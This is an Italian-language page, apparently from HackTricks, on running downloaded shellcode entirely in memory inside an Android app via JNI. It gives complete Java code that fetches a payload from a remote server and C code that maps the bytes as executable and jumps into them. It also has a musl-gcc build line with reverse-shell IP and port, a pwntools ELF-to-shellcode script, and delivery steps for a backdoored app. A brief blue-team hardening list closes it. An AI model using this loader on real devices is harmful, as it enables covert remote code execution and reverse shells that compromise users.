Esecuzione di codice nativo in memoria su Android via JNI (shellcode)
Reading time: 5 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Questa pagina documenta un pattern pratico per eseguire payloads nativi interamente in memoria da un processo di un'app Android non attendibile usando JNI. Il flusso evita la creazione di qualsiasi binario nativo su disco: scaricare byte raw di shellcode via HTTP(S), passarli a un bridge JNI, allocare memoria RX e saltarci dentro.
PerchÊ è importante
- Riduce gli artefatti forensi (nessun ELF su disco)
- Compatibile con payloads nativi âstage-2â generati da un exploit ELF binario
- Corrisponde alla tradecraft utilizzata da malware moderni e red teams
Schema ad alto livello
- Recuperare i byte dello shellcode in Java/Kotlin
- Chiamare un metodo nativo (JNI) passando l'array di byte
- In JNI: allocare memoria RW â copiare i byte â mprotect a RX â chiamare l'entrypoint
Esempio minimo
Lato Java/Kotlin
public final class NativeExec {
static { System.loadLibrary("nativeexec"); }
public static native int run(byte[] sc);
}
// Download and execute (simplified)
byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes();
int rc = NativeExec.run(sc);
Lato C JNI (arm64/amd64)
#include <jni.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>
static inline void flush_icache(void *p, size_t len) {
__builtin___clear_cache((char*)p, (char*)p + len);
}
JNIEXPORT jint JNICALL
Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) {
jsize len = (*env)->GetArrayLength(env, sc);
if (len <= 0) return -1;
// RW anonymous buffer
void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (buf == MAP_FAILED) return -2;
jboolean isCopy = 0;
jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy);
if (!bytes) { munmap(buf, len); return -3; }
memcpy(buf, bytes, len);
(*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT);
// Make RX and execute
if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; }
flush_icache(buf, len);
int (*entry)(void) = (int (*)(void))buf;
int ret = entry();
// Optional: restore RW and wipe
mprotect(buf, len, PROT_READ | PROT_WRITE);
memset(buf, 0, len);
munmap(buf, len);
return ret;
}
Note e avvertenze
- W^X/execmem: Le versioni moderne di Android applicano W^X; le mappature anonime PROT_EXEC sono generalmente ancora consentite per i processi delle app con JIT (soggette alla policy SELinux). Alcuni dispositivi/ROM limitano questo; ricorrere a JIT-allocated exec pools o native bridges quando necessario.
- Architetture: Assicurati che l'architettura dello shellcode corrisponda al dispositivo (arm64-v8a comunemente; x86 solo su emulatori).
- Contratto dell'entrypoint: Decidi una convenzione per l'entrypoint del tuo shellcode (no args vs puntatore a struttura). Mantienilo position-independent (PIC).
- Stabilità : Pulisci la instruction cache prima di saltare; una cache non corrispondente può causare crash su ARM.
Pacchettizzazione ELF â positionâindependent shellcode Una pipeline robusta consiste nel:
- Compila il tuo exploit come un ELF statico con musl-gcc
- Converti l'ELF in un blob di shellcode selfâloading usando pwntoolsâ shellcraft.loader_append
Compilazione
musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
Convertire ELF in raw shellcode (esempio amd64)
# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
loader = shellcraft.loader_append(elf.data, arch='amd64')
sc = asm(loader)
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}")
PerchĂŠ loader_append funziona: emette un tiny loader che mappa i segmenti del programma ELF incorporati in memoria e trasferisce il controllo al suo entrypoint, fornendoti un unico raw blob che può essere memcpyâed ed eseguito dall'app.
Delivery
- Ospita sc su un server HTTP(S) che controlli
- L'app backdoored/test scarica sc e invoca il bridge JNI mostrato sopra
- Ascolta sulla tua operator box per qualsiasi reverse connection che il payload kernel/user-mode stabilisca
Validation workflow for kernel payloads
- Usa un vmlinux simbolizzato per reversing/recupero rapido degli offset
- Prototipa le primitive su un'immagine di debug conveniente se disponibile, ma riesegui sempre la validazione sul target Android reale (kallsyms, KASLR slide, page-table layout, and mitigations differ)
Rafforzamento/Rilevamento (blue team)
- Vieta PROT_EXEC anonimo nei domini delle app dove possibile (SELinux policy)
- Applica una rigorosa code integrity (non consentire dynamic native loading dalla rete) e valida i canali di aggiornamento
- Monitora transizioni sospette mmap/mprotect verso RX e grandi copie di byte-array precedenti a salti
References
- CoRPhone challenge repo (Android kernel pwn; JNI memory-only loader pattern)
- build.sh (musl-gcc + pwntools pipeline)
- exp2sc.py (pwntools shellcraft.loader_append)
- exploit.c TL;DR (operator/kernel flow, offsets, reverse shell)
- INSTRUCTIONS.md (setup notes)
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.